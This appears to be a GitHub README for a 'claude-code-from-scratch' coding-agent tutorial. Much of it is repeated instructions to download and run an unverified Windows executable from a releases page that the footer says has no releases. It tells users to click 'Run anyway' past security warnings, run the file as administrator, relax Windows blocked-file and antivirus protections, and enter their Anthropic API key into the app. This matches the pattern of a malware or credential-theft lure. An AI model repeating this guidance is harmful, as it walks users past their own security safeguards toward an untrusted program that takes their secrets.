Skip to content

Alihusn3392/claude-code-from-scratch

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

36 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ€– claude-code-from-scratch - Learn Coding Agents Step by Step

Download

πŸ“˜ What This Is

claude-code-from-scratch helps you understand how a coding agent works by rebuilding the core ideas in a simple way.

This project is made for people who want to:

  • see how an AI coding tool is built
  • follow a clear step-by-step guide
  • run the result on Windows
  • learn the basic flow behind Claude Code style tools

The repo uses TypeScript and Python in a small, readable code base. It focuses on the main parts that matter most:

  • chat input
  • tool use
  • file handling
  • task planning
  • code editing flow
  • agent loop logic

πŸ–₯️ Windows Download and Setup

Use this release page to download and run the app on Windows:

Open the release page

After you open the page:

  1. Find the latest release at the top
  2. Open the Assets section
  3. Download the Windows file
  4. Run the file after it finishes downloading

If Windows shows a security prompt:

  1. Click More info
  2. Click Run anyway if you trust the file
  3. Wait for the app to start

If the download comes as a zip file:

  1. Right-click the zip file
  2. Choose Extract All
  3. Open the folder
  4. Start the app file inside

🧰 What You Need

This app runs best on:

  • Windows 10 or Windows 11
  • 8 GB RAM or more
  • 2 GB free disk space
  • A stable internet connection
  • A modern browser for some setup steps

For a smooth start, keep these ready:

  • your Anthropic API key
  • a text editor if you want to inspect files
  • permission to run downloaded apps on your PC

πŸš€ How to Use It

After you install the app:

  1. Open the program
  2. Enter your API key if the app asks for it
  3. Choose a task or open a project folder
  4. Type what you want the coding agent to do
  5. Let the app plan, edit, and update files
  6. Review the changes before you save or run them

Good first tasks:

  • ask it to explain a folder
  • ask it to fix a small bug
  • ask it to create a new file
  • ask it to rename a function
  • ask it to add a simple feature

🧩 How It Works

The project breaks the coding agent into clear parts.

1. Input

You type a request in plain language.

2. Planning

The agent breaks the request into steps.

3. File Access

The app reads files in the project folder.

4. Editing

The agent changes code where needed.

5. Checking

The app reviews the result and decides what to do next.

6. Loop

The agent repeats the cycle until the task is done.

This makes the system easier to understand than a large closed-source code base.

πŸ—οΈ Project Structure

The code is organized so each part has a clear job.

Common folders and files may include:

  • src/ for the main source code
  • app/ for the user-facing parts
  • agent/ for the agent loop and logic
  • tools/ for file and task helpers
  • docs/ for the step-by-step guide
  • scripts/ for setup and local run commands

You can use the guide chapters to move from one part to the next without getting lost.

πŸ“š What You Will Learn

This repo helps you learn:

  • how a coding agent thinks through a task
  • how an AI tool reads and writes files
  • how tool calls work in a real app
  • how prompts shape model behavior
  • how to keep a simple agent loop clean
  • how to build a working tool from small parts

If you want to understand Claude Code style systems, this project gives you a clear path.

πŸ§ͺ Common Use Cases

Use this app when you want to:

  • study how coding agents work
  • test small code changes on Windows
  • explore agent design without a large code base
  • build your own version from a simple starting point
  • follow a tutorial that stays close to real use

βš™οΈ First Run Checklist

Before you start the app, check these items:

  • you downloaded the latest release
  • you extracted the files if needed
  • you have your API key ready
  • your internet connection works
  • Windows Defender or your security tool allows the app to run

Then:

  1. Open the app
  2. Enter the setup details
  3. Load a folder with code
  4. Send a short test prompt
  5. Confirm the agent can read and edit files

πŸ” API Key Setup

Many AI apps need an API key to talk to the model.

To set it up:

  1. Get your key from your Anthropic account
  2. Open the app settings or setup screen
  3. Paste the key in the field
  4. Save the settings
  5. Restart the app if needed

Keep your key private. Do not share it in chat or in public files.

πŸ› οΈ If the App Does Not Start

Try these steps:

  1. Download the release again
  2. Check that the file finished downloading
  3. Unzip the file if it came in an archive
  4. Run the app as administrator
  5. Turn off blocked file settings in Windows if needed
  6. Make sure your antivirus did not remove the file
  7. Check that your PC meets the basic system needs

If the app opens but does not respond:

  • confirm your API key is correct
  • check your internet connection
  • open the app again
  • try a short prompt first

🧭 Tutorial Chapters

The repo includes 11 chapters that build the project piece by piece.

Typical chapter flow:

  1. project setup
  2. app shell
  3. prompt input
  4. file reading
  5. file writing
  6. tool calls
  7. agent loop
  8. task planning
  9. error handling
  10. UI flow
  11. final integration

Follow the chapters in order to understand how each part fits together.

πŸ“Ž Download Again

If you need the latest build or a fresh copy, use the release page here:

Download from Releases

πŸ” Topics Covered

This project touches on:

  • ai
  • ai-agent
  • anthropic
  • build-from-scratch
  • claude
  • claude-code
  • coding-agent
  • llm
  • tutorial
  • typescript

πŸ“ Suggested Folder Use

When you run the app, use a test project folder first.

Good practice:

  • create a small sample folder
  • keep a backup copy
  • test on a toy project before real work
  • review each file change before you trust it
  • use short prompts at first

πŸ–±οΈ Quick Start

  1. Open the release page
  2. Download the Windows file
  3. Run the file
  4. Open the app
  5. Add your API key
  6. Load a project folder
  7. Type your first task
  8. Review the result

Releases

No releases published

Packages

 
 
 

Contributors